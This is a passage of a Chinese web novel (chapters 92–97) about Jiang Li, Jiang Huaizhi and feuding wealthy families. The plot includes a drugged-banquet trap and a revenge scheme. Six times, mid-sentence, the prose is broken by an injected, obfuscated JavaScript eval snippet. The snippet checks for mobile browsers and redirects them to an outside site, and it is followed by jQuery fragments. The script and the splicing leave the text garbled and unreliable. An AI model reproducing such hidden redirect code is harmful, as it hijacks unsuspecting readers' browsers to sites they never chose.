谢家上下干干净净,除了这次刚谈成的司氏,跟内地的其他企业没有合作关系,那谢鹤枭跟沈叙这样的毒贩有什么好谈的? 这个老狐狸,说自己是姜祈安的人,背地里干出来的事又一点都不像。 不是什么省油的灯,不太可信。 “让他继续盯着。”江淮之抬手捏了捏眉心,“沈叙那边送来的请帖,地点是在哪里?” 谢铭回:“在暮色。” 今晚的这个饭局,是沈叙和楚云做东。 这次司家的事情引起来不小的风波,陆傅两家,沈氏和姜氏,就连远在港城的楚家都被查了。 这些人里,一身正气的人不少,但是背地里犯了事的人也不少。 警方出具的蓝底白字的公告上只说了傅家和陆氏以及司氏是清白的,剩下的三家企业还在调查中。 沈叙和楚云请的,就是他们这些人。 本来以为从政的傅家会跟闭瘟神一样躲着他们,实在没想到出了这么多事,傅家不跟他解除联姻也就算了,就连沈叙那边都要往上凑。 不过,让江淮之觉得有意思的还是沈叙,沈氏都已经方寸大乱了,他今天又走的那么着急,居然还能分出神趁着这样大乱的时候去对付姜梨。 到底还是做贼心虚,看谁都像仇人。 姜梨是江淮之带走的,沈叙居然还敢明目张胆的请他去这场饭局,真是和司承德还有司家老头一样,都把他当成普度众生的活菩萨了。 江淮之眼睛眯了眯,“你通知司南衍和司南泽,带上时愿一起去暮色。” 谢铭想到司南泽的身体状况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293879|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,问了句:“四少爷也要去吗?” “他的身体也没差到不能出门的地步,司家现在人少,年纪比他小的司南衍都能把江城打理的风生水起,他作为四少爷,也该为公司出份力了。”江淮之捏着姜梨刚刚丢下的那枚戒指,眼底暗流涌动,“谁知道他是真的瞎还是在装瞎?” 至于时愿么……这个冒牌货让他和姜梨吵架吵那么多天,他让她露个面承受一下傅家的羞辱和怒火又怎么了? 谢铭明白江淮之的意思,“是,我马上通知他们。” —— 暮色在樱洲很出名,规模非常大。 包含了餐厅、酒楼,还是高级会所,本地的那些商业大佬,或者是那些当红明星,不论是饭局还是吃喝玩乐,首选都是在暮色。 私人包间内开着暗蓝色的灯光,一个一袭黑衣黑裤的男人坐在沙发上,他的脸隐在暗光里,有些模糊不清,嘴上咬着的烟即将燃尽,一边站着的贴身保镖见状,弯腰将烟头拿了下来,摁灭火光,丢进了烟灰缸里。 沈叙单膝跪在他面前,头低着,声音沉沉的喊了一声:“老大。” 男人的嗓音温润的像是被打磨圆滑的一块璞玉,语气温柔的像潺潺的溪水:“在樱洲城这样的地方,你都敢明目张胆的派人去绑姜梨。” 他的手抬起来,保镖扶着他起身。 下一秒,清脆响亮的巴掌声在包间里响起,沈叙的脸被打的偏了过去,嘴角已经裂开,血腥味在口腔里蔓延。 “你生怕警察抓不到你,然后主动送上门?我三番两次让谢鹤枭告诫你,不要去动姜梨,你是当成耳旁风了吗?” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第92章 我凭什么答应你 姜梨忍着腿间潮乎乎的黏腻感,给膝盖裹上了一层又一层的保鲜膜,免得沾到水,刚贴的膏药不能这么浪费。 找出换洗的衣物,进了卫生间,洗澡。 热水淋在身上,姜梨脑子里不受控制的想到刚刚在车上江淮之做出来的事情,气得身体又抖了一下。 他到底是什么品种的老畜生,才会在车上,在学校门口,不分场合的就那样欺负她。 也就是在刚刚,姜梨才知道。江淮之那一副谦谦公子、无欲无求的样子,分明都是他装出来的。撕开那一层外皮,他骨子里就是个混蛋!变态!烂仔! 洗完澡,姜梨重新给自己脸上的伤消了毒,贴上了纱布。 弄完这些,时间定在了八点半。 谢鹤扬的电话再次打了进来,这一次姜梨总算是接了。 “在哪里?” 宿舍里没人,姜梨就开了扬声器,“有事就说。” 谢鹤扬笑了一声,蹦出来一句粤语:“想同你食餐饭,畀个面?”(想和你吃个饭,赏个脸?) 他好端端的请她吃饭做什么? 姜梨想也不想的就拒掉,“哼哼。谢二少无缘无故请客我可不敢去。无事献殷勤,非奸即盗。” 听到姜梨回答的不止是谢鹤扬,还有纪繁星和谢鹤枭,两个人齐刷刷的看了他一眼,像是在看白痴。 直接说纪繁星有事跟她谈,不就好了吗? 谢鹤枭用口型骂了他一句:“痴线。”(神经) “我好歹也算是救了你吧,怎么拒的这么干脆?”谢鹤扬摸了摸鼻子,终于还是把纪繁星给搬出来了,“繁星姐有事跟你商量,是她要请你吃饭。” 纪繁星?这么明目张胆的找她,她有想法? 姜梨顿了顿,弯唇:“成啊,你求求我,我高兴了就去。” 啧,学坏了。 谢鹤扬舔了一下嘴唇,“我一会就去找我大哥要江淮之的联系方式,然后好好的跟他聊一下你的光荣……” “行了行了。”姜梨急忙打断他,“地址发给我,我马上过去。” 谢鹤扬降下车窗,看了一眼樱大的门牌,“我们现在已经在你学校门口了。” 姜梨挂掉电话以后没有马上出宿舍,而是不慌不忙的打开电脑,把一个视频和几张照片传进了两个u盘里,然后摸出来一张身份证放进了衣服口袋。 做完这一切,她才匆匆下楼。 “姜梨!这里!” 纪繁星看着姜梨出来,眯着眼找半天都没看到,直接打开车门冲着她喊了一声。 姜梨这才小跑着过去。 谢鹤扬看着她跑过来的姿势,忍不住笑了一声,跌跌撞撞的,像找不到方向的幼蝶。 姜梨坐上后座,忍不住吐槽:“你们为什么要像做贼一样停在这么个位……” 在看到谢鹤枭也在车上的时候,她的声音戛然而止,哽在了喉咙里,脸都白了几分。 纪繁星看到她变化的表情,愣了一下,然后眼皮跳了一下。 要不是她知道姜梨是什么德行,还真的会和其他人一样被她给唬住,姜梨这个堪比影后的演技不进娱乐圈真的有点太可惜。 “咳——”谢鹤扬也注意到了姜梨的神色变化,扫了谢鹤枭一眼,然后轻咳了一声,慢悠悠开口:“你之前跟我去酒店拿合同的时候,我说要送你回去,你跟我说怕被同学看见,会传出什么不好听的谣言。” 他这么说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293880|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜梨也想起来那一茬,当时随便扯的一个理由,谢鹤扬居然还记得。 她现在已经没有了闲聊的心思,因为谢鹤枭在场,姜梨只感觉自己的大脑被上了一根发条,并且还在不断的拧紧,精神高度集中。 姜梨直接切入主题:“你找我什么事?” “我今天在中心广场的大屏幕上看到了你耍火刀的MV,刚好我有个禁火宣传片要拍,想请你出镜,当特邀演员。” 姜梨眼睛微微眯了眯,耍火刀……… 她大概知道,他们看到的是南诗奕最后拍的那段mv了。姜梨当时只是在旁边指导她,拍了一段类似于教程的短视频,没想到居然会被剪进正片里。 能让这段三四年前的mv出现在市中心的大屏上循环播放,让全市观赏的人也就只有司南赫了。 只有他和娜姐知道这段mv的存在。 姜梨靠在椅背上,淡淡吐出来两个字:“不去。” ?! 她会拒绝是纪繁星没想到的,音调都忍不住拔高了:“为什么?” 纪繁星才不信姜梨不懂她的意思。 她要逃走这件事办起来并不容易,肯定是需要从长计议,好好谋划一番的。 她想拍宣传片是真,但是给姜梨找一个光明正大来港城的理由也是真。这样她跟她密谋就很方便,也不会很突兀,只会认为她们在讨论宣传片的事情。 这么好的一个机会,姜梨居然不答应?! “我会答应南诗奕那是因为我和她在同一家疗养院治过病、疗过伤,她是我亲手从海里救起来的,我们是真正意义上的生死之交,是病友也是挚友。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第93章 江淮之的妹妹会缺钱? 姜梨没有想到,谢鹤扬他们会把地点选在暮色。 暮色是一栋酒楼,位于樱洲最繁华的地带。 姜梨如果不是来过一次,在这里体验到了纸醉金迷般的生活,真的会认为暮色就是一个普通的酒楼。 “不是啊,一共就四个人吃饭,你们点三十道菜?” 姜梨看着大桌上摆满的菜品,眉心跳了一下,满眼惊悚的看着他们三个,精准吐槽:“古代的皇帝怕是都没你们这么奢侈。” 暮色这样的地方,价格定然不便宜。 谢鹤扬淡淡道:“不知道你的口味,就都点了一个遍。” “………” 谢鹤枭和谢鹤扬都很随意,少了些许压迫感,这个饭吃的还挺和谐的。 吃到一半时,纪繁星试探性的问了姜梨一句:“如果我只是让你教我的话,你会同意吗?” “南诗奕大概学了四个月才有这样的效果。”姜梨放下筷子,慢条斯理的喝了一口汤,然后缓缓道:“你能腾出四个月准备吗?” 她现在的时间,也就只有两个月不到了。 纪繁星想不到什么说辞了,只能去看谢鹤枭,眨了眨眼,向他求救。 谢鹤枭笑了笑:“姜二小姐不如直接说你想要什么?” 姜梨抿唇,吐出来一个字:“钱。” “哦?”谢鹤枭有些意外,挑了一下眉,“北城太子爷的妹妹,居然会缺钱?” “那是他的钱,我又不是他亲妹妹,他就算再有钱跟我有什么关系?”姜梨耸了耸肩膀,“自己亲手挣的钱,用着才舒服。” 谢鹤枭观察着她的表情,淡声问:“你要多少?” “八十万。” “?”谢鹤扬饶有兴致的看着她,“梨妹妹,我还以为你会报个百万。” “谢大少说看在我的面上才会跟江淮之谈成合作,那我这次就看在这份上帮纪繁星一把,我们谁也不欠谁。”姜梨自然不是瞎报的数字,有理有据的对他们说道:“纪繁星在港城的咖位出场费应该是二百万到三百万,我从她那里抽八十万不过分吧?” “可以。”纪繁星面上虽然不显,心里想的却是:她到时候要给姜梨的,何止是八十万?分明是一百五十万。 光是想想就觉得肉疼。 纪繁星要跟她敲定时间,提前做好安排,问她:“那你什么时候能到港城?” 姜梨:“樱大放寒假的时间应该是一月七八号,应该九号十号能到港城………” 话还没说完,电话就响了。 她意识到是那个男人给她打电话了,看了一眼三个人,“等一下,我去接个电话。” 然后站起来朝外走。 “你在哪?” 姜梨低着头,“暮色。” 那边似乎愣了一下,“我也在暮色,你到五楼的楼梯间来。” 姜梨走到尽头,推开楼梯口的门,走了进去,爬楼上了四楼的楼梯间。 男人依旧是黑衣黑裤,戴了一只黑色的口罩和帽子,依旧只露出来一双眼睛。 姜梨见只有他一个人,心脏立刻提了起来:“小栎呢?不顺利吗?” “今天暮色不怎么太平,楚云和沈叙都在这里,他们都见过她。为了保险起见,我已经叫人把她送去机场了。” 楚云和沈叙都在这?怎么会这么巧? “你在这里来做什么?” 姜梨没有隐瞒,回答:“我跟谢鹤扬来的。” 狭小的环境里,能闻到一股清幽又熟悉的淡淡香水味,姜梨的眸子闪了一下,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293881|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走进几步。 她现在没有时间跟他谈别的,从包里摸出一枚红色的u盘塞到了他手里,“你把这个给沈月汐,并且把我一月份要去港城的消息告诉她。” 男人没有接,而是问她:“这里面是什么?你想要做什么?” “这里面是沈月汐纵火的最直接的证据,我并不打算交给警方。法律只会让她坐牢,而且楚云一定会想方设法的保她。”黑暗中,姜梨的眼睛像黑曜石,清冷的眼神染上了浓烈的恨意和杀意,一字一句:“我要的,是沈月汐自食恶果,我要她偿命!” 一个不清不楚的视频就能让沈月汐起杀心,更何况是这种最直接的证据? 姜梨是想自己当那个诱饵,让沈月汐再次犯错的诱饵。 男人想明白了她的用意,但是他并不赞同她的做法,摇头:“不行,这样太危险了,搞不好你会命丧黄泉。” 姜梨这个法子虽然好,但是太激进了。他是想要给林遥报仇,但是从来没想过要再搭上一条性命。 姜梨认真的跟他解释:“我等这一天,已经等了三年了,我筹谋这么久,找了这么多人帮忙,好不容易搜集到了这么多的证据,我不想再等下去了。” 男人还想劝她,却被她打断。 “沈翊,我选在港城是因为我在那里还有其他帮手,我不会和沈月汐一起命丧黄泉,你不是也想要沈月汐偿命吗?” 听到姜梨喊出来的名字,他的双眼骤然瞪大,然后想想,又觉得挺正常的。 沈月汐对姜梨下手的事情的确是紧急情况,他也只是偶然听到沈月汐打电话才知道,因为时间紧迫 ,也就没再伪装,直接明目张胆的就给江淮之报信了。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第94章 谢鹤扬你有病啊! 姜梨反应迅速,轻轻拉开门,溜出楼梯间,跑进了五楼的走廊。 沈翊看她仓皇的背影,不疾不徐的从口袋里掏出一支口红抹到了脖子上,然后点了一根烟。 上来的人是楚柠歌。 港城楚家四夫人的女儿,楚家小六。 她看到沈翊也是愣了一下,表情有些不太自然,“沈二哥,怎么是你?” 她今天是跟着楚家来的这一场饭局,喝了些酒想出来透透气,却刚好看到一个跟姜梨很像的女人鬼鬼祟祟进了楼梯间,这才追了上来。 沈翊眯了眯眼睛,咬着烟笑的有些邪肆,玩世不恭里带着点嘲讽和冷意,“那应该是谁?” “我刚刚看到一个女人鬼鬼祟祟从二楼进来,以为是什么小偷,所以才跟过来看一眼……”楚柠歌的眼神有意无意的瞟向被打开了一半的门,“二哥没有看到吗?” 沈翊微微仰头,恶劣的笑了一下:“我玩的正高兴呢,好好的兴致就被你打断了…….” “不如你留下来陪我?你姑姑现在是我的继母,妹妹这个角色,肯定会很刺激。” 楚柠歌脸色一变,注意到沈翊凌乱的衣物,以及颈边那抹存在感极强的红痕,这才意识到刚刚这里发生了什么。 沈翊是个什么样的人她知道,骨子里就是个风流浪荡的败类。现在还说出这种话,哪里像是讲伦理道德的人? “对不起二哥,我……我马上走!” 楚柠歌说完就立刻转身往楼下跑,过了会沈翊给才姜梨发去了一条短信。 —— 暮色很大是真的,容易走丢也是真的。 五楼这一层是休息室和客房,交错安静的走廊像是迷宫,还弥漫着一股淡淡的、类似于香水的香气。 姜梨绕了好几圈都没能找到在哪里可以下去,头反而有点晕乎乎的。 “哈……嗯……” 突然,姜梨听到了一声极其微妙的声音。她的脚步顿时停了下来,机械性的扭头,看向斜后方的一间客房。 暮色的隔音效果算不上太差,但是客房的门没有彻底合上,姜梨的听力又非常好,从门缝里漏出来的声音清晰的传进她的耳朵里。 喘息声,低泣声,还有女人的惊呼声。 这里的味道似乎更浓了一些,香味好像是从这个房间里飘出来的。 也不知道是因为她跑太久,还是因为听到了活春宫,她只觉得好热,脸颊很烫,连吐出来的气息都是灼热的。 正当她撑着墙想走时,又听到一堆人着急忙慌的在往这边走,“就在这里!我亲眼看到时愿扶着陆七少爷进来的!” 说话的声音,是傅雪。 她不是被送出国了吗?怎么会出现在这里? 傅雪在说什么乱七八糟的东西?难不成这里面的人………是时愿和陆七?! 时愿既然在这里,那必然是江淮之带她来的,原来他今天说的有饭局,是跟这群人一起。 陆七和江淮之的关系这么好,时愿跟江淮之又是前任的关系,她怎么可能会跟陆七搞在一起? 这不是天方夜谭吗? 姜梨听到脚步声越来越近,身后突然伸过来一只大掌,捂住了她的口鼻,把她拖进了隔壁的房间里。 房间里一片漆黑,看不到一点光。 姜梨被吓得瞪大双眼,她眼神一凛,抬起胳膊狠狠的给身后的人来了一个肘击。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293882|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人似乎早就知道她会这样干,立刻用手掌护住了腹部。 眼见姜梨居然还要动手,他赶紧出声:“是我!” “卧槽!谢鹤扬你有病啊!”姜梨听到熟悉的嗓音,气得爆了粗口,压低声音怒骂:“你他妈是不是有病!” 突然从她身后窜出来,一点声音都不出,捂着她的嘴巴就往房间里拖,给她吓得够呛。 谢鹤扬伸出食指抵在她唇边,示意她别出声,然后对她道:“你难道就没有闻到走廊有一股不正常的香味吗?” 不正常的香味?那股香水味吗? “那是催情香。” 姜梨双眼一睁,她只在电视上看到过这种东西,没想到居然真的有。 怪不得她觉得晕乎乎的,还越来越热,还好她刚刚吸得不算多,现在在这个房间里舒服了不少。 “那房间里面的是……?” “我如果没有猜错的话,隔壁房间里的女主角应该是傅绾。”谢鹤扬似是笑了一下,缓缓开口:“我到处找你的时候,正好看到江淮之抱着一个女人出来,应该就是那个叫时愿的。” 他的手按在她的肩膀上,“懂了吗?” 姜梨抿唇:“傅绾想害时愿,给她和陆七下了药,然后再来一出捉奸的戏码。结果偷鸡不成蚀把米,反而被江淮之反将了一军,对吗?” 谢鹤扬挑眉:“你只说对了一半。司家出了这么大的变故,傅家今天是想趁势逼着江淮之点头娶傅绾。时愿和江淮之的花边新闻本来就让傅家不满,他明知道今天傅家在场还要把时愿带过来激怒他们,让傅绾对时愿下药,江淮之正好可以以其人之道还治其人之身。” 这章没有结束,请点击下一页继续阅读! 第95章 谢鹤扬,上船吗? 沈叙,沈君临还有傅绾,滚到了一张床上。 因为催情香的作用,即使在众人撞破的情况下,还未能回神,依旧还在继续。 画面过于激烈刺激,好几个人都当场开始干呕起来,傅雪也是被震惊的说不出话。 她和沈叙在两个小时之前才敲定好婚事,然而现在他和她姐姐傅绾搞到了一起,还加上了他父亲…… 怎么回事?现在躺在房间里的人,难道不应该是时愿和陆七吗! 怎么会这样! 过了好半晌,几个人里才有人察觉到不对劲,马上后退三舍,提醒其他人捂住口鼻,“房间里点了迷香!” 顿时间所有人都不敢再靠近房间半步。 傅砚和楚云收到消息赶来时,看到如此淫乱的场景,差点气到晕厥。 “你们这些人还愣着干什么!还不快拿水来泼醒他们!” 姜梨听到楚云气急败坏的声音觉得有点奇怪,沈叙和她表面上其乐融融,私底下为了争权,那是斗得你死我活的。 沈叙被这么多人捉奸在床,她难道不应该高兴吗? “给我把五楼都封死!别让其他人上来!” 还没等她想清楚,傅砚又下了一句吩咐。 姜梨听到这句话,太阳穴突突的跳。她和谢鹤扬,被困在了五楼。 还被困在了陆七的房间里,出不去了。 沈叙清醒过来,知道自己被暗算了,肯定会去查暮色的监控,那沈翊和她都会有麻烦。 而且时间马上就要过十点,夏栎现在还在机场等她,姜梨还有东西要交给她,如果错过了今天……她们很有可能再也见不到了。 姜梨眼睫轻颤了一下,抿了抿唇,看了一眼谢鹤扬,又看了一眼依旧坐在床上的陆七。 然后,抓住了谢鹤扬的手。 谢鹤扬一愣,没怎么反应过来,然后就听到姜梨对陆七说:“我和谢鹤扬的事,陆大哥可以帮我保密吗?尤其是不能告诉江淮之。” 陆七虽然提前吃了解药,但是喝了不少酒,傅绾下的药量又很足,他的身体这会还有点发软。 听到姜梨说的话,眼皮跳了一下:“你们俩还真是在私会啊?” 姜梨纠正道:“哪里是私会?我们在谈恋爱,是正经来约会的。” 她的表情和语气都极为认真,没有一点虚假表演的痕迹。然而陆七看不到的是,她抓着谢鹤扬的那只手,手心里都沁上了一层汗,因为紧张,也抓的越来越紧。 谢鹤扬嘴角微微上扬,低着头饶有兴致地看着她。 从二楼跑到五楼,还特意走的楼道,最后没能成功回二楼估计是跟什么人见面结果被人看到了,就逃到了五楼一直到现在。 现在又在这演戏,指定是在憋什么坏水,小狐狸又要咬谁了? 陆七看着他们,颇有幸灾乐祸的意思。 江淮之这下是真的被人坑的在阴沟里翻船了,自己好不容易才骗到手的老婆,现在要跟别人跑了。 他“啧”了一声,眼神来回在两个人身上晃荡,似笑非笑,有点让人捉摸不透,“从叔叔到陆大哥,求人办事的时候你还挺有诚意。” 姜梨干笑了两声,酒吧那次叫他叔叔的事,他还没忘。 不过姜梨也不知道陆七到底是信了还是没信,但是陆七肯定会这么告诉江淮之。 就是要他告诉江淮之,她是来跟谢鹤扬约会的,然后简单跟他吃个饭而已。 免得无端惹嫌疑,给她的那个计划招堵。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293883|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过江淮之应该也没空管她,刚刚谢鹤扬说,时愿被他带走了,他现在和时愿在一起,哪还能腾出手管别的? “嘀!” 突然响起来的声音吓得姜梨一抖,是刷房卡的声音,有人要进来了! 陆七随手指了一下里面浴室的方向,让两个人躲进去。 他可不想跟隔壁一样,被冠上二男一女的标签。 门被打开,傅雪站在门外。 陆七看着门外的人,讥讽道:“暮色现在就这么拉垮啊?随便拿着一张房卡,一群人就敢这样乱闯进来。” 傅雪的眼睛在房间里环视了一圈,并没有发现时愿的踪迹,就只有陆七一个人。 他的脸虽然有些微微发红,但是却看不出来有中药的迹象。 不可能!她和傅绾亲眼看到陆七喝下了那杯加了料的酒,剂量这么大,不可能没事! 时愿一定还在这个屋子里! 傅雪咬了咬后槽牙,也管不了对方是不是陆氏总裁了,冲进去不怕死似的在房间里搜查。 恨不得把整间房屋都掀过来。 浴室、衣帽间、甚至是衣柜都看了,都没有找到时愿。 外面杂乱的声音不断的钻进来,陆七的神色一寸一寸的冷下来,拿起床头柜的一支高脚杯就朝着傅雪砸过去。 “滚出去!” 杯子在傅雪脚边碎裂,吓得她浑身一抖。 “傅市长真是好家教,养出来的两个女儿一个赛一个胆大。”陆七看到闻声而来的傅砚,眼神变得更冷,“一个敢在我和时愿的酒里下药,一个负责善后,带着一帮人擅闯我的房间,你们傅家真是排的好大一出戏!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第96章 对不起,我上错车了 “你们去哪?去这么久?” 谢鹤扬和姜梨回到包间,神色无常的拉开椅子坐了下来,听到纪繁星问,谢鹤扬回答:“上五楼看了一场大戏。” “什么戏?”谢鹤枭挑了一下眉。 “活春宫。” 纪繁星:“什么活春宫?” 谢鹤扬没说话,看向姜梨,对着她抬了一下下巴,“问你呢?你趴在门边偷看这么久,看清楚是谁了没?” 他一说,姜梨的手肘撑在桌子上,捂着脸,声音有些闷:“什么看清楚?我哪里有趴在门边看?他们自己没关好门,声音又这么大,你不是也听到了吗?干嘛要我说?” 说完还不忘在桌子底下踢他一脚,然后又瞪他一眼。 纪繁星看着他们,心里那颗八卦的心躁动起来,“到底是谁啊?这么藏着掖着的……” 谢鹤扬淡淡道:“是沈叙和傅绾。” 谢鹤枭的眼神顿了顿,眉梢不受控制的上扬,有些惊讶:“你说谁和谁?” 谢鹤扬脸不红心不跳的解释:“我去找姜梨的时候正好看到傅绾带着一帮人上了五楼,说是看到江淮之那个初恋情人跟陆七在一起。” 他指了一下姜梨,“这个人听到时愿这两个字跟有那个应激反应一样,非要追上去看。结果时愿和陆七没找着,发现沈叙和傅绾搞在了一起。我们就猜测,应该是傅绾想害时愿,然后被江淮之和陆七反将了一军。” 纪繁星听完,这几天的新闻她也有看,俨然已经想清楚其中的弯绕。但是眼皮还是一连跳了好几下,忍不住对姜梨吐槽:“我怎么感觉你们樱洲和北城的这些豪门千金小姐都是假货?一个赛一个的蠢?当着这么多人精的面就干出这种上不得台面的事也就算了,挑得对象也都是最不好惹的人。” 姜梨喉咙有点干涩,喝了一口水,然后说:“我觉得吧,傅绾应该是忍太久了。一会曝出来跟助理不清不楚,还带着她高调出席陆家的宴会,把她这个联姻对象晾在一边。然后没过几天又曝出来一个初恋情人,傅绾可是市长千金,哪里受得了这样?兔子急了,就咬人咯。” 纪繁星喝了点酒,脸颊有些泛红,撑着下巴眼中带笑的看着她,“蠢就是蠢,扯出再多的理由也是蠢。我看你不就挺沉的住气的吗?看着自己喜欢那么久的男人左拥右抱,还有心情吃瓜,看戏,怎么不去添把火?” “该吃的瓜要吃,该看的戏也得看。一个男人而已,还不至于影响我到这个地步。”姜梨放下杯子,手指轻轻敲打桌面,跟她对视,“而且我就算是沉不住气,要弄也是弄死江淮之这个罪魁祸首,跟别人有什么关系?” 纪繁星听到她的话,“哇”了一声,“不喜欢你,你就要弄死他啊?看不出来,你这人控制欲还挺强。” 倒也不是这么个理。 只是江淮之的那张嘴,不知道说了多少遍喜欢她,他敢这么骗她,难道她还不能杀他吗? 说不出实话的舌头没有存在的必要。 姜梨眼皮微垂,“不听话的男人就直接做掉,然后再重新换一个听话的,我可不像你这么窝囊。” 纪繁星和谢鹤扬:“………” 谢鹤枭凉凉的看了她一眼:“姜二小姐,别带坏她。” 姜梨嗤笑一声,没再说话。 心里想的却是:狗贼谢鹤枭,又装上深情佬了,装你妈装。 姜梨心里一直惦着要去机场,干脆开口结束这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293884|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场饭局:“拍宣传片就先这样定了,纪小姐,方便加个微信吗?” 纪繁星笑了笑,报了一串数字。 “我还有事,就先走了。”姜梨站起来,谢鹤枭也没留,让谢鹤扬送她回去。 姜梨没有拒绝。 走到一楼大厅时,姜梨看了眼谢鹤扬,“已经有人在等我去机场了,你回去吧。” 谢鹤扬没说话,而是朝她摊开了手。 姜梨不解:“干嘛?” 谢鹤扬也是一米八几的个子,看着姜梨时垂着头低着眼,看上去温情脉脉,声音温和:“前几天给你的手帕,还给我。” 姜梨微微仰头,“什么叫还?那本来就是我的东西,现在只是物归原主了而已。” “我捡到的东西,肯定是我的,又没写你的名字。” “你是有什么特殊癖好吗?喜欢捡姑娘的东西也就算了,还随身携带。”姜梨眉头皱了一下,又补了一句:“我已经烧了。” 谢鹤扬肯定不信她这句话,但还是把手收了回去,想到什么,饶有兴致的问她:“你都跟我“约会”了,不给一件定情信物说不过去吧?” 刚想回答他,眼睛一撇看到了被人扶着走出来的陆七,姜梨一把揪住了谢鹤扬的衣领。 谢鹤扬被她这么一拽,有些猝不及防,距离被骤然拉近,能闻到她身上的清香味,还夹着一点清苦的中药味。 “陆七下来了,监控的事情谢了。” “嗯。”谢鹤扬的手刚抬起来,又被克制的压回去。 两个人的这个姿势,从陆七那个方向看过去,就像是在拥吻。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第97章 为什么哭? 偌大的停车场极其安静,显得这道关车门的声音尤为响亮。 前面的车窗没有关,姜梨听到脚步停了下来。 背部一阵刺挠,细密的汗爬到了鼻尖和背部,她下意识的憋气,手心都是湿热的,衣摆都被她抓皱了。 司南泽觉得疑惑,轻喊了一声:“姜二小……” “嘘——”姜梨忙不迭地伸手挡住他的嘴巴,对上他空洞的眼睛,声音压低:“别出声,您能捎我一程吗?” 前面坐着的裴安看到姜梨这个动作,微微皱了皱眉。但是见司南泽表情平和,没有任何不适,便也没有出言阻止。 司南泽的眼睫颤了一下,微微点头。 江淮之抱着人经过他们的车,姜梨透过挡风玻璃,看到他把人小心翼翼的放下来,然后替她拉开车门,细心的挡着车顶,扶着她的胳膊让她上车。 明明地下车库只亮着暗灯,明明姜梨的视力并不好,但是她清晰的看到了时愿的那张脸,然后她听到了“啪”的一声,脑子里紧绷的那根弦,断了。 心脏里扎着的那根刺也刺的更深,尖锐绵密的痛演变成钝痛、剧痛。 太像了,尤其是那双眼睛,连她自己都觉得是一个模子里刻出来的。 原来她跟他的这个初恋情人,真的长得那么像,所以那次在酒吧里,江淮之才会认错人。 姜梨看到时愿揽住了他的脖子,然后凑近。 姜梨立刻瞥开脸,躲到了前排车座的背后,不去看。 突然,司南泽问她:“你要去哪里?” 藏来藏去反而会让人起疑,姜梨抿了抿唇,“机场。” 樱洲有两个机场,姜梨又补了一句:“国际机场。” 司南泽没再出声,裴安会意,启动车子,踩下油门。 